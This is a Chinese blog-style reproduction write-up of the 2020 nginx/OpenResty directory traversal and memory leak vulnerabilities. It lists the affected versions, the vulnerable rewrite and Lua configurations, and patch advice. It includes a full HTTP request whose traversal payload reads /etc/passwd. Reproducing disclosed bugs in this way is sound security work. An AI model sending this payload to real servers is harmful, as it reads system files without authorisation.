Nginx/OpenResty目錄穿越漏洞復(fù)現(xiàn)
漏洞背景:
2020年03月18日, 360CERT監(jiān)測(cè)發(fā)現(xiàn) openwall oss-security 郵件組披露了兩枚漏洞。在特定配置下 nginx/openresty 存在 內(nèi)存泄漏漏洞/目錄穿越漏洞。
Nginx 是異步框架的網(wǎng)頁服務(wù)器,也可以用作反向代理、負(fù)載平衡器和HTTP緩存。
OpenResty是一個(gè)基于nginx的Web平臺(tái),它對(duì)nginx增加LuaJIT引擎使其運(yùn)行Lua腳本。
影響版本:
nginx <= v1.17.7 (commit af8ea176a743e97d767b3e1439d549b52dd0367a)
openresty <= v1.15.8.2
環(huán)境復(fù)現(xiàn):
操作系統(tǒng)centos7。
????????安裝 nginx 版本選擇了 1.17.7
????????修改 rewrite 配置
//directory traversal
location ~ /rewrite {
rewrite ^.*$ $arg_x;
}
帶著 payload 請(qǐng)求 /rewrite 目錄?讀取passwd文件下的密碼
GET /rewrite?x=/../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
返回響應(yīng)后的內(nèi)容。
?在 openresty v1.15.8.2 測(cè)試,同樣可以復(fù)現(xiàn)
環(huán)境搭建:
采用剛搭建的 nginx 1.17.7,安裝 lua-nginx-module,需要重新編譯nginx,安裝編譯過程可參見:地址
配置nginx.conf
//memleak
location ~ /memleak {
rewrite_by_lua_block {
ngx.req.read_body();
local args, err = ngx.req.get_post_args();
ngx.req.set_uri( args["url"], true );
}
}
這里采用openresty v1.15.8.2 版本,成功復(fù)現(xiàn)(lua-nginx-module-0.10.15 以上版本會(huì)報(bào)錯(cuò))
打碼處為回顯。
修復(fù)建議:
建議用戶關(guān)注并依據(jù)實(shí)際業(yè)務(wù)評(píng)估漏洞風(fēng)險(xiǎn)影響,可通過如下方案進(jìn)行加固修復(fù),避免安全風(fēng)險(xiǎn);
nginx :升級(jí)版本至 v1.17.9 或應(yīng)用 commit a5895eb502747f396d3901a948834cd87d5fb0c3;文章來源:http://www.zghlxwxcb.cn/news/detail-409734.html
openresty :排查配置文件中 rewrite 以及 ngx.req.set_uri ,建議臨時(shí)禁用相關(guān)配置。文章來源地址http://www.zghlxwxcb.cn/news/detail-409734.html
到了這里,關(guān)于Nginx/OpenResty目錄穿越漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!